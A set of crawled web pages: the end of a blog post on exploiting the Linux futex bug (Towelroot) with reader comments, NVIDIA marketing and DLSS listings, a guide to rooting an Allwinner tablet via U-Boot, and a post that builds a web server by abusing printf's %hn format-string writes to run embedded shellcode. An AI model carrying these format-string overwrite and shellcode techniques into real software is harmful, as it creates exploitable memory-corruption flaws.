writeable /system. So thats all there is to it. I have shown you where the bug is, which syscall that you can use to manipulate the stack, how to write to arbitrary address (although not in detail, but with enough pointers), what to write there, and what to do after you write there. Author admin Posted on July 7, 2014 November 21, 2018 Categories hacks , linux , security 9 thoughts on “Exploiting the Futex Bug and uncovering Towelroot” alan czarnecki says: July 7, 2014 at 2:26 pm Hello – Looks to me like a typo in main(): int main() { foo(1, 10); //set to 10 foo(0, 0); //print it bar(1, 12); //set to 12 foo(0, 0); //print foo again return 0; } should be: int main() { foo(1, 10); //set to 10 foo(0, 0); //print it bar(1, 12); //set to 12 bar(0, 0); //print bar <======***** return 0; } no? Regards, alan Reply alan czarnecki says: July 7, 2014 at 2:29 pm nvm – finally read your words : Both local uses the same stack location. When bar is called, it writes to the same stack location used by “foo” for its local variable. This simple concept will play a role in understanding the bug. apologies for bugging you – going to get more coffee before reading further Reply ELB says: July 8, 2014 at 6:54 am Dude first of all i would love to say thank you! this is the first decent info i’ve found about the bug, and next how about some contact info maybe irc or mail? Reply solidwrench says: July 8, 2014 at 10:49 pm I have some questions, mostly regarding the futex code. futexes are new to me. 1. Where is the list where rt_waiter is saved? what is this “waiter list”? I’m assuming this isn’t the futex_q list since q.rt_waiter is set to NULL. 2. This seems to only happen when requeue_pi = 1 in futex_requeue(), judging from patches & the code path you mention. is this true? 3. I probably have more, thanks in advance 🙂 Reply solidwrench says: July 9, 2014 at 7:49 am ignore my previous comment, I think I figured it out. rt_waiter gets added to an external list via a rt_mutex_start_proxy_lock() call in futex_requeue(). Reply solidwrench says: July 11, 2014 at 7:38 pm Hello, I’m still trying to rewrite the exploit. The problem I currently have is the pi_state member in futex_q. futex_requeue assigns it to each requeued futex. It bails if you try to give it a futex with a pi_state, preventing re-requeueing. I wrote a post about it here: http://solidwrench.blogspot.com/2014/07/playing-with-futexrequeue-bug.html Reply Pingback: Злоумышленники используют набор эксплойтов для кибератак на пользователей Android - Терещенко. Просто. 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modern workloads DPUs and SuperNICs Software-defined hardware accelerators for networking, storage, and security Ethernet Ethernet performance, availability, and ease of use across a wide range of applications InfiniBand High-performance networking for super computers, AI, and cloud data centers Networking Software Networking software for optimized performance and scalability Network Acceleration IO subsystem for modern, GPU-accelerated data centers Professional Workstations Overview Accelerating professional AI, graphics, rendering, and compute workloads DGX Spark A Grace Blackwell AI Supercomputer on your desk DGX Station The ultimate desktop AI supercomputer powered by NVIDIA Grace Blackwell NVIDIA RTX PRO AI Workstations Accelerate innovation and productivity in AI workflows NVIDIA RTX PRO Desktops Powerful AI, graphics, rendering, and compute workloads NVIDIA RTX PRO Laptops Accelerate professional AI and visual computing from anywhere Software Agentic AI Models - Nemotron AI Agents - NeMo AI Blueprints AI Inference - Dynamo AI Inference - NIM AI Microservices - CUDA-X Automotive - DRIVE Data Science - Apache Spark Data Science - RAPIDS Decision Optimization - cuOpt Healthcare - Clara Industrial AI - Omniverse Intelligent Video Analytics - Metropolis NVIDIA AI Enterprise NVIDIA Mission Control NVIDIA Run:ai Physical AI - Cosmos Robotics - Isaac Telecommunications - Aerial See All Software Tools AI Workbench Simplify AI development with NVIDIA AI Workbench on GPUs API Catalog Explore NVIDIA's AI models, blueprints, and tools for developers Data Center Management AI and HPC software solutions for data center acceleration GPU Monitoring Monitor and manage GPU performance in cluster environments Nsight Explore NVIDIA developer tools for AI, graphics, and HPC NGC Catalog Discover GPU-optimized AI, HPC, and data science software NVIDIA App for Laptops Optimize enterprise GPU management NVIDIA NGC Accelerate AI and HPC workloads with NVIDIA GPU Cloud solutions Desktop Manager Enhance multi-display productivity with NVIDIA RTX Desktop Manager RTX Accelerated Creative Apps Creative tools and AI-powered apps for artists and designers Video Conferencing AI-powered audio and video enhancement Solutions Artificial Intelligence Overview Add intelligence and efficiency to your business with AI and machine learning Agentic AI Build AI agents designed to reason, plan, and act AI Data Powering a new class of enterprise infrastructure for AI Conversational AI Enables natural, personalized interactions with real-time speech AI Cybersecurity AI-driven solutions to strengthen cybersecurity and AI infrastructure Data Science Iterate on large datasets, deploy models more frequently, and lower total cost Inference Drive breakthrough performance with AI-enabled applications and services Cloud and Data Center Overview Powering AI, HPC, and modern workloads with NVIDIA AI Data Platform for Enterprise Bringing enterprise storage into the era of agentic AI AI Factory Full-stack infrastructure for scalable AI workloads Accelerated Computing Accelerated computing uses specialized hardware to boost IT performance Cloud Computing On-demand IT resources and services, enabling scalability and intelligent insights Colocation Accelerate the scaling of AI across your organization Networking High speed ethernet interconnect solutions and services Sustainable Computing Save energy and lower cost with AI and accelerated computing Virtualization NVIDIA virtual GPU software delivers powerful GPU performance Design and Simulation Overview Streamline building, operating, and connecting metaverse apps Computer Aided-Engineering Develop real-time interactive design using AI-accelerated real-time digital twins Digital Twin Development Harness the power of large-scale, physically-based OpenUSD simulation Rendering Bring state-of-the-art rendering to professional workflows Robotic Simulation Innovative solutions to take on your robotics, edge, and vision AI challenges Scientific Visualization Enablies researchers to visualize their large datasets at interactive speeds Vehicle Simulation AI-defined vehicles are transforming the future of mobility Extended Reality Transform workflows with immersive, scalable interactions in virtual environments High-Performance Computing Overview Discover NVIDIA’s HPC solutions for AI, simulation, and accelerated computing HPC and AI Boost accuracy with GPU-accelerating HPC and AI Scientific Visualization Enables researchers to visualize large datasets at interactive speeds Simulation and Modeling Accelerate simulation workloads Quantum Computing Fast-tracking the advancement of scientific innovations with QPUs Robotics and Edge AI Overview Innovative solutions to take on robotics, edge, and vision AI challenges Robotics GPU-accelerated advances in AI perception, simulation, and software Edge AI Bring the power of NVIDIA AI to the edge for real-time decision-making solutions Vision AI Transform data into valuable insights using vision AI Autonomous Vehicles Overview AI-enhanced vehicles are transforming the future of mobility Open Source AV Models and Tools For reasoning-based AV systems AV Simulation Explore high-fidelity sensor simulation for safe autonomous vehicle development Reference Architecture Enables vehicles to be L4-ready Infrastructure Essential data center tools for safe autonomous vehicle development In-Vehicle Computing Develop automated driving functions and immersive in-cabin experiences Safety State-of-the-art system for AV safety, from the cloud to the car Industries Overview Architecture, Engineering, Construction & Operations Automotive Cybersecurity Energy Financial Services Healthcare and Life Sciences Higher Education Game Development Global Public Sector Manufacturing Media and Entertainment US Public Sector Restaurants Retail and CPG Robotics Smart Cities Supercomputing Telecommunications Shop Drivers Support GeForce Products Graphics Cards & Desktops RTX 50 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Some functionality may not work as required. This site requires Javascript in order to view all its content. Please enable Javascript in order to access all the functionality of this web site. Here are the instructions how to enable JavaScript in your web browser. NVIDIA DLSS & GeForce RTX: List Of All Games, Engines And Applications Featuring GeForce RTX-Powered Technology And Features By Andrew Burnes on January 30, 2025 | Featured Stories Frame Generation GeForce RTX GPUs Multi Frame Generation NVIDIA DLSS Ray Reconstruction NVIDIA DLSS , Ray Tracing , and GeForce RTX-accelerated AI technologies and features have been adopted by developers with unprecedented speed, faster than any other in NVIDIA’s history. Over 930 games and applications feature RTX support, including best selling games, the most popular apps, and the most used game engines. NVIDIA DLSS is our award-winning suite of neural rendering technologies that use AI to boost FPS, reduce latency and improve image quality using dedicated Tensor Core AI processors on GeForce RTX GPUs. In all supported DLSS games and apps, listed below, every GeForce RTX user can enhance their experience with DLSS Super Resolution , which taps into the power of a deep learning neural network to boost frame rates and generate beautiful, sharp images. DLAA delivers higher image quality with an AI-based anti-aliasing technique, rather than increasing performance, using the same Super Resolution technology developed for DLSS, constructing a more realistic, high-quality image at native resolution. DLSS Ray Reconstruction replaces hand-tuned ray tracing denoisers with a new unified AI model that enhances ray tracing in supported games, elevating image quality to new heights. DLSS Frame Generation multiplies frame rates in games and apps on GeForce RTX 50 Series and GeForce RTX 40 Series graphics cards and laptops. And with DLSS Multi Frame Generation , GeForce RTX 50 Series users can further accelerate frame rates by generating up to 3 frames per traditionally rendered frame, multiplying performance by up to 8X when DLSS Multi Frame Generation is used in conjunction with DLSS Super Resolution and DLSS Ray Reconstruction. Our latest breakthrough, NVIDIA DLSS 4 , enhances image quality in DLSS Super Resolution, DLSS Ray Reconstruction, and DLAA games and apps using a new, innovative, even-better transformer AI model. And with an updated DLSS Frame Generation model, performance is accelerated, and VRAM usage reduced. Get a deep dive on DLSS 4’s full range of benefits here . DLSS on GeForce RTX is the best way to play, backed by an NVIDIA AI supercomputer in the cloud that’s constantly improving your PC’s gaming capabilities. In games and apps that have yet to update with native support for DLSS 4 and DLSS Multi Frame Generation, NVIDIA app includes DLSS 4 overrides that enable you to upgrade select titles: DLSS Multi Frame Generation Override - Enables DLSS Multi Frame Generation for GeForce RTX 50 Series users when Frame Generation is ON in-game DLSS Frame Generation Model Upgrade - Enables the latest DLSS Frame Generation model for GeForce RTX 50 Series and GeForce RTX 40 Series users, when Frame Generation is ON in-game, which uses less video memory and can increase frame rates DLSS Transformer Model Upgrade - Enables the latest transformer AI model for DLSS Super Resolution, Ray Reconstruction, and DLAA for all GeForce RTX users, when the aforementioned features are ON in-game DLAA & Ultra Performance Modes - Sets the internal rendering resolution for DLSS Super Resolution, enabling DLAA or Ultra Performance mode in games lacking native support, when Super Resolution is ON in-game. Or alternatively, set a custom input resolution value to fine tune performance and image quality. Enhancing games takes just a few clicks - head to our NVIDIA app article to learn how to set up each feature. GeForce RTX gamers also benefit from class-leading RTX-accelerated Ray Tracing , which brings realistic and immersive visual effects to games. In apps, acceleration from dedicated Ray Tracing Cores dramatically speeds up renders, enabling artists to not only create final renders more quickly but also enabling interactive ray tracing in the viewport which makes iterating on and refining new ideas simpler and easier. And AI technologies and features , powered by the Tensor Cores found on GeForce RTX GPUs, unlock revolutionary creative workflows which make tedious tasks a thing of the past. Follow the links to check out examples of how AI helps creators and industries . Which Games, Engines and Applications Support RTX Technologies? More and more add support each and every month. Check out the full list below, last updated December 22nd, 2025. In the table, a ✓ denotes that a game or app has native support for a DLSS feature. In the DLSS Multi Frame Generation column , ✓ [ NV ] denotes that support is enabled via an NVIDIA app override . In the DLSS Frame Generation column , ✓ [ NV, U ] denotes that native, built-in support for DLSS Frame Generation can be upgraded to use a newer, faster AI model via an NVIDIA app override . In the DLSS Super Resolution and DLSS Ray Reconstruction columns , ✓ [ NV, T ] denotes that native, built-in support for these features can be upgraded to use a newer, even better AI model via an NVIDIA app override . Note: the DLSS Super Resolution override also upgrades DLAA if the game has native in-game support. In the DLAA column , ✓ [ NV, T ] denotes that DLAA can be activated via an NVIDIA app override if the game or app lacks native DLAA support. Note: if the DLSS Super Resolution Model Preset override is also enabled, DLAA will be upgraded to use a newer, even better AI model. How Do I Use Ray Tracing and NVIDIA DLSS In Games? It’s easy! Install the latest GeForce Game Ready Driver from NVIDIA app or our website , download the latest version of the game you want to play, load in, open the options menu, and enable ray tracing and NVIDIA DLSS. For NVIDIA DLSS, we recommend its Quality Mode for 1920x1080 and 2560x1440, Performance Mode for 3840x2160, and Ultra Performance Mode for 7680x4320. To learn which games have added NVIDIA DLSS, check this article each month, and stay tuned to GeForce.com , where we announce new and upcoming integrations. How Do I Use RTX Technologies In Apps and Engines? You’ll need the latest GeForce Game Ready Driver or NVIDIA Studio Driver for your GeForce RTX graphics card, GPU or laptop, but as every application is different we can’t provide specific instructions for each. Instead, we recommend checking out the app’s official website and help guides. Products Graphics Cards Laptops G-SYNC Monitors GeForce NOW Cloud Gaming Community & News Latest News Community Forums Community Portal Developer Resources Support Drivers Purchase Support Technical Support Follow GeForce Facebook Instagram TikTok Twitch Twitter YouTube NVIDIA United States Privacy Policy Your Privacy Choices Terms of Service Accessibility Corporate Policies Product Security Contact Copyright © 2026 NVIDIA Corporation | 2026-01-13T08:47:54 |
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https://tinyhack.com/2024/01/18/using-u-boot-to-extract-boot-image-from-pritom-p7/#comment-172113 | Using U-Boot to extract Boot Image from Pritom P7 – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Using U-Boot to extract Boot Image from Pritom P7 This is a guide to extract the boot image from a cheap Android tablet based on Allwinner A133 using U-Boot (accessed via UART). The original firmware was not found on the internet. With the boot image and Magisk, you can root your Android tablet to make it more useful. Pritom P7 is a very cheap Android tablet. I bought it for 33 USD from AliExpress, but it can be found for as low as 27 USD. This is a Google GMS-certified device (it passes Play Integrity, no malware was found when I received it), and it uses 32-bit Android Go. I am only using this to test some 32-bit Android app compatibility. I bought it for 32.75 USD They may have several variants of this model with different specifications. Mine is: Alwinner A133, 1.5GB RAM (advertised as 2GB, and shown as 2GB in the Android info), 32 GB ROM, only 2.4 GHz WIFI, no GPS. Unlockable Bootloader Luckily, we are allowed to unlock the bootloader of this device using the developer menu, adb reboot bootloader then using fastboot oem unlock . Some cheap Android devices don’t allow unlocking (for example, the ones that are based on recent Unisoc SOC). I can allow bootloader unlock using the OEM Unlocking option The product ID of my tablet is P7_EEA (Android 11) with kernel version Linux localhost 5.4.180-svn33409-ab20220924-092422 #28 SMP PREEMPT Sun Aug 20 19:13:45 CST 2023 armv8l . The build number is PRITOM_P7_EEA_20230820 . I did not find any Android exploit for this device, and I also didn’t find any backdoors. From my experience, some of these cheap Android devices have hidden su backdoors. Unable to find an exploit, I gave up trying to extract boot image from user space. With some SOC, you can easily read/dump/extract the flash using PC software. I didn’t find any software for this Allwinner chip. An example of a SOC that allows flash reading is Unisoc (formerly Spreadtrum), but on the other hand, the bootloader on phones and tablets with the latest SOCs from Unisoc (that I know of) is not unlockable. UART Fortunately, this device is easy to open, and a UART pin is on the top left near the camera. UART + FEL pad on top, near the camera Here is a close-up: The right-most pin is FEL if you want to enter FEL mode. But entering FEL mode can be done easily using: adb reboot efex . To test that the pin does output something, I just connected the ground to the USB-C ground and held my hand, pressing a cable on the TX pad during startup. No soldering is needed if you can hold your hand like this U-Boot Fortunately, we can break into u-boot (not locked down); from there, it is easy to dump the bootloader. There are many ways to do it, but this is how I did it. First, print the environment using env print to see what commands are used to load the boot partition: bootdelay=0 boot_normal=sunxi_flash read 45000000 boot;bootm 45000000 Note: I suggest you change the bootdelay to make it easier to enter U-boot next time. We can see that we can read the flash partition to a certain memory location using: sunxi_flash read 45000000 boot Now, we need to write this memory area to an SD Card. I prepared a FAT-formatted SD Card. Insert it, then: sunxi_card0_probe . This will detect the card. I need to do mmcinfo otherwise, the next command won’t work: mmc part Now we can test listing the content of the card: fatls mmc 0:1 . It should be empty since we just format it. Next is to write the memory to a file: fatwrite mmc 0:1 45000000 boot.img 4000000 . Note: all numbers are in hexadecimal. 64 Megabytes is just a common size for the boot partition. We can install Magisk APK to the tablet, run it, and then choose “Install” and “Select and patch file”. Patch our boot.img , then the magisk_patched_xx.img file can be flashed using : fastboot flash boot magisk_patched_xx.img . Magisk Installed I could have dumped all the partitions using u-boot, but I felt that u-boot is slow in writing to the SD Card. After we have a root access, we can easily dump the rest of the partitions by accessing the files in /dev/block/by-name . Conclusion I hope this guide can help you root your Allwinner device, even when you don’t have the original firmware. I think this device is not worth buying unless you have a specific need for it. This tablet is OK if you want to test your app for Android Go or 32-bit Android libraries. This is also a good tablet for learning to hack Android hardware. If you are using the same device and want to have the boot partition, you can download it here: please make sure that your hardware is exactly the same as mine to prevent bricking it. https://tinyhack.com/files/pritom-P7_EEA-boot.img Author admin Posted on January 18, 2024 January 19, 2024 Categories android , hacks , hardware , mobile , phone Tags 28 26 thoughts on “Using U-Boot to extract Boot Image from Pritom P7” Ivan says: February 9, 2024 at 8:58 pm ivan@M16 ~ % fastboot devices 3c000c4543c48701e19 fastboot ivan@M16 ~ % fastboot oem unlock FAILED (remote: ‘Oem unlock ability is 0. Permission denied for this command!’) fastboot: error: Command failed Please help to unlock Reply Ivan says: February 9, 2024 at 9:15 pm Developer options – ON, OEM Unlocking – ON Reply Ivan says: February 9, 2024 at 9:27 pm (bootloader) treble-enabled:true (bootloader) first-api-level:30 (bootloader) dynamic-partition:true (bootloader) system-fingerprint:PRITOM/P7_A1/P7_A1:11/RP1A.201005.006/20220915-103124:user/release-keys (bootloader) snapshot-update-status:none (bootloader) super-partition-name:super (bootloader) hw-revision:0 (bootloader) off-mode-charge:0 (bootloader) battery-voltage:0 (bootloader) is-userspace:yes (bootloader) partition-type:bootloader_b:raw (bootloader) partition-type:dtbo_a:raw (bootloader) partition-type:vbmeta_vendor_b:raw (bootloader) partition-type:vendor_boot_b:raw (bootloader) partition-type:bootloader_a:raw (bootloader) partition-type:vbmeta_system_b:raw (bootloader) partition-type:userdata:raw (bootloader) partition-type:env_b:raw (bootloader) partition-type:boot_b:raw (bootloader) partition-type:misc:raw (bootloader) partition-type:dtbo_b:raw (bootloader) partition-type:env_a:raw (bootloader) partition-type:vendor_boot_a:raw (bootloader) partition-type:vbmeta_b:raw (bootloader) partition-type:vbmeta_a:raw (bootloader) partition-type:vbmeta_system_a:raw (bootloader) partition-type:media_data:raw (bootloader) partition-type:vbmeta_vendor_a:raw (bootloader) partition-type:boot_a:raw (bootloader) partition-type:metadata:raw (bootloader) partition-type:super:raw (bootloader) partition-type:system_a:raw (bootloader) partition-type:system_b:raw (bootloader) partition-type:vendor_a:raw (bootloader) partition-type:vendor_b:raw (bootloader) partition-type:product_a:raw (bootloader) partition-type:product_b:raw (bootloader) secure:yes (bootloader) battery-soc-ok:yes (bootloader) serialno:3c000c4543c48701e19 (bootloader) slot-count:2 (bootloader) cpu-abi:armeabi-v7a (bootloader) variant:NA (bootloader) has-slot:bootloader:yes (bootloader) has-slot:dtbo:yes (bootloader) has-slot:vbmeta_vendor:yes (bootloader) has-slot:vendor_boot:yes (bootloader) has-slot:vbmeta_system:yes (bootloader) has-slot:userdata:no (bootloader) has-slot:env:yes (bootloader) has-slot:boot:yes (bootloader) has-slot:misc:no (bootloader) has-slot:vbmeta:yes (bootloader) has-slot:media_data:no (bootloader) has-slot:metadata:no (bootloader) has-slot:super:no (bootloader) has-slot:system:yes (bootloader) has-slot:vendor:yes (bootloader) has-slot:product:yes (bootloader) product:P7_A1 (bootloader) is-logical:bootloader_b:no (bootloader) is-logical:dtbo_a:no (bootloader) is-logical:vbmeta_vendor_b:no (bootloader) is-logical:vendor_boot_b:no (bootloader) is-logical:bootloader_a:no (bootloader) is-logical:vbmeta_system_b:no (bootloader) is-logical:userdata:no (bootloader) is-logical:env_b:no (bootloader) is-logical:boot_b:no (bootloader) is-logical:misc:no (bootloader) is-logical:dtbo_b:no (bootloader) is-logical:env_a:no (bootloader) is-logical:vendor_boot_a:no (bootloader) is-logical:vbmeta_b:no (bootloader) is-logical:vbmeta_a:no (bootloader) is-logical:vbmeta_system_a:no (bootloader) is-logical:media_data:no (bootloader) is-logical:vbmeta_vendor_a:no (bootloader) is-logical:boot_a:no (bootloader) is-logical:metadata:no (bootloader) is-logical:super:no (bootloader) is-logical:system_a:yes (bootloader) is-logical:system_b:yes (bootloader) is-logical:vendor_a:yes (bootloader) is-logical:vendor_b:yes (bootloader) is-logical:product_a:yes (bootloader) is-logical:product_b:yes (bootloader) vendor-fingerprint:PRITOM/P7_A1/P7_A1:11/RP1A.201005.006/20220915-103124:user/release-keys (bootloader) version-vndk:30 (bootloader) unlocked:no (bootloader) current-slot:a (bootloader) version-os:11 (bootloader) version-baseband: (bootloader) max-download-size:0x10000000 (bootloader) partition-size:bootloader_b:0x2000000 (bootloader) partition-size:dtbo_a:0x200000 (bootloader) partition-size:vbmeta_vendor_b:0x10000 (bootloader) partition-size:vendor_boot_b:0x2000000 (bootloader) partition-size:bootloader_a:0x2000000 (bootloader) partition-size:vbmeta_system_b:0x10000 (bootloader) partition-size:userdata:0x67C77BE00 (bootloader) partition-size:env_b:0x40000 (bootloader) partition-size:boot_b:0x4000000 (bootloader) partition-size:misc:0x1000000 (bootloader) partition-size:dtbo_b:0x200000 (bootloader) partition-size:env_a:0x40000 (bootloader) partition-size:vendor_boot_a:0x2000000 (bootloader) partition-size:vbmeta_b:0x20000 (bootloader) partition-size:vbmeta_a:0x20000 (bootloader) partition-size:vbmeta_system_a:0x10000 (bootloader) partition-size:media_data:0x1000000 (bootloader) partition-size:vbmeta_vendor_a:0x10000 (bootloader) partition-size:boot_a:0x4000000 (bootloader) partition-size:metadata:0x1000000 (bootloader) partition-size:super:0xC0000000 (bootloader) partition-size:system_a:0x305EA000 (bootloader) partition-size:system_b:0x0 (bootloader) partition-size:vendor_a:0x4F91000 (bootloader) partition-size:vendor_b:0x0 (bootloader) partition-size:product_a:0x4822D000 (bootloader) partition-size:product_b:0x0 (bootloader) security-patch-level:2022-10-05 (bootloader) version-bootloader:unknown (bootloader) version:0.4 Reply Ivan says: February 10, 2024 at 12:52 pm Also I can’t flash your boot image ivan@M16 ~ % fastboot flash boot /Volumes/Temp/pritom-P7_EEA-boot.img Sending ‘boot_a’ (65536 KB) FAILED (remote: ‘Download is not allowed on locked devices’) fastboot: error: Command failed Reply admin says: April 8, 2024 at 1:15 pm I think you are using a different device (not the same one as mine). So I am not sure what to do for your device. Reply Jimmy says: April 5, 2024 at 12:40 pm I just bought one of these tablets, and they can be okay for a grandparent or a child (or for playing around with root or for 3D printer screen etc.). Your detailed description of the process has helped me a lot. I would like to say thank you to everyone who wants to play around with this tablet (I ordered mine for 33 euros, and it has the same specs as yours). Reply jardel says: April 22, 2024 at 1:35 pm Oem Unlocking is on but when I try fastboot oem unlock: oem unlock ability is 0. Permission denied for this command Reply Jardel says: April 23, 2024 at 4:31 pm Using the exact same model with the same build. Oem unlocking option activated. Can you help me? C:\Users\Jardel>adb reboot fastboot C:\Users\Jardel>fastboot oem unlock FAILED (remote: ‘Oem unlock ability is 0. Permission denied for this command!’) fastboot: error: Command failed Reply admin says: May 20, 2024 at 1:39 am I guess in your particular model, the bootloader is forever locked? or may be try different fastboot binary, may be a newer or older version of it. Reply Tobias says: May 13, 2024 at 10:33 pm I was able to root my Pritom P7 EEA using this method. Thanks a bunch for extracting the boot image 😀 Reply XH64bit says: June 22, 2024 at 3:38 am Hi, I’m trying to do the same boot.img extraction process on another similar tablet powered by the same SoC. The problem is that I’m new to Uart and all of that stuff and I don’t understand where to run the commands for the dumping process. Here’s what I already done: unlocked my bootloader and checked for su binary but no luck there. Opened up the tablet and located the TX and RX pins on the mobo, soldered wires there and connected them to my Uart adapter (CP2102 if that matters) including the ground taken from the USB-C port and then it was the part where I have no idea what to do next, turning the tablet on lights up one of the LEDs on my adapter and then it starts blinking during startup. I tried using putty on my windows pc to connect to the adapter but when I start a session I see nothing, even when pressing the reset button or doing anything else its just a blank terminal. If you can give me some advice on what to do next or provide some links where it explains a similar process more datelined it would be great. Thank you in advice! Reply admin says: June 22, 2024 at 7:35 am Make sure you connect RX to TX and TX to RX and make sure you choose the correct baud rate. Reply XH64bit says: June 22, 2024 at 4:03 pm Thanks a lot for your response, I swapped around the wires and tried different baud rates (11500 seems to be working fine) and now I see logs as I hit the reset button and during the boot process. Now I tried “adb reboot efex” and it kinda worked (the tablet rebooted and now I have a black screen and in my console I see some U-boot welcome messages and that stuff so I guess that its working fine) but I still can’t type anything to the console window on my pc, I’m guessing I might need a different app or something to be able to run commands. Would really appreciate it if you can share the app you used to run the commands. Reply XH64bit says: June 22, 2024 at 6:03 pm So a small update on that, I was able to type commands after just pressing one button on my keyboard during the tablet’s boot process, I ran all of the commands and got my boot image but magisk is unable to patch it for some reason, maybe the size is not the same as on ur device but in U-boot when I type “env print” I get the same normal boot string as yours “boot_normal=sunxi_flash read 45000000 boot;bootm 45000000” and in fastbootd when I type “getvar all” I get “(bootloader) partition-size:boot_a:0x4000000” and “(bootloader) partition-size:boot_b:0x4000000” so I guess the command “fatwrite mmc 0:1 45000000 boot.img 4000000” should be the same for me? As I said I get an error when truing to patch the image saved to the SD card and it says that “Unable to patch ramdisk” but another thing is that it says “Magisk patched boot image detected” while the image is definitely wasn’t patched with magisk before. Maybe its because my SD card is in Fat32 and not just Fat but idk doesn’t seem like it complains about that during the dump process in U-boot. Reply admin says: June 23, 2024 at 1:58 am Did you do “sunxi_flash read 45000000 boot” before writing to MMC? This will read the boot loader to memory before you write it to disk. XH64bit says: June 24, 2024 at 12:15 am So I think the issue was in my SD card, I tried a different one and it finally worked. btw I spend like 4 hours yesterday trying to understand what was wrong and went as far as comparing ur image with mine in hex editor and only then I saw that it was weird (I mean hex is always a weird for me but it just looked really corrupted). I want to thank you for all the afford u put into troubleshooting it for me, I learned a lot of new stuff and I think that’s gonna be really useful in my adventures of yanking random crappy tablets for fun admin says: June 24, 2024 at 12:55 am I am glad it works for you. This is how I started: by just trying to follow some random stuff made by someone else on the internet. positivo60fps says: July 3, 2024 at 10:29 am Now with root installed, how do I backup the recovery? in dev/block/by-name there is no recovery folder Reply admin says: July 3, 2024 at 12:02 pm it doesn’t have a recovery partition, it just uses boot_a and boot_b Reply minims says: October 2, 2024 at 3:42 pm Hello, is there a way to upgrade the P7 to a more revent version of Android. It’s currently Android Go 11. Reply Art says: March 11, 2025 at 9:53 pm Hello, need super vendor_boot boot vbmeta vbmeta_system vbmeta_vendor and odm. Can you help me? Reply TheLabronic says: May 14, 2025 at 1:17 pm Hi to everyone, i’m going crazy. I have the same tablet, but I’m stuck trying to break into U-Boot. I connected the tablet’s TX, RX, and GND pins to my USB UART adapter (with RX and TX crossed). Using a terminal, I can see the boot log when I run adb reboot efex. The problem is, when I press Enter (or any other key) to stop the boot process, it doesn’t respond. I’ve tried different baud rates (115200, 57600, 38400, 19200), but nothing changes. I also tried swapping the RX and TX connections between the tablet and the USB UART, but still no luck. I’m using a FT232 USB UART, and I have the latest drivers installed. I’ve tested multiple terminal programs (Putty, Minicom, HyperTerminal), and even tried a different computer or os (Linux & Win)—nothing works. I’m out of ideas. Any help would be greatly appreciated. Reply lpt2007 says: June 27, 2025 at 10:02 pm Hi, I have device PRITOM P7, Product P7_A05,CPU Allwinner A523, arm64-v8a,Build number: TAB_7Pro_14_US_20241237. And I try to get boot.img from device with no luck. Can I use your boot.img for my device? If not. Do you know where can I get img? thx in advance Reply admin says: June 27, 2025 at 11:53 pm You definitely can’t, your device uses 64 bit OS, mine is 32 bit. Reply lpt2007 says: June 28, 2025 at 8:32 am Hi, Thanks for quick replay:) Do you know good place where users share their dump-ed boot images for chinese tablets and phones? Reply admin says: June 28, 2025 at 9:41 am I am sorry, I don’t know the answer to this. When I searched for mine, I couldn’t find any, that was why I opened it and dumped it myself. Reply Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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https://tinyhack.com/2014/03/12/implementing-a-web-server-in-a-single-printf-call/#comment-23511 | Implementing a web server in a single printf() call – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Implementing a web server in a single printf() call A guy just forwarded a joke that most of us will already know Jeff Dean Facts (also here and here ). Everytime I read that list, this part stands out: Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search. It is really possible to implement a web server using a single printf call, but I haven’t found anyone doing it. So this time after reading the list, I decided to implement it. So here is the code, a pure single printf call, without any extra variables or macros (don’t worry, I will explain how to this code works) #include <stdio.h> int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3", ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 + 2, (((unsigned long int)0x4005c8 + 12) & 0xffff)- ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 ); } This code only works on a Linux AMD64 bit system, with a particular compiler (gcc version 4.8.2 (Debian 4.8.2-16) ) And to compile it: gcc -g web1.c -O webserver As some of you may have guessed: I cheated by using a special format string . That code may not run on your machine because I have hardcoded two addresses. The following version is a little bit more user friendly (easier to change), but you are still going to need to change 2 values: FUNCTION_ADDR and DESTADDR which I will explain later: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) #define DESTADDR 0x00000000006007D8 #define a (FUNCTION_ADDR & 0xffff) #define b ((FUNCTION_ADDR >> 16) & 0xffff) int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" 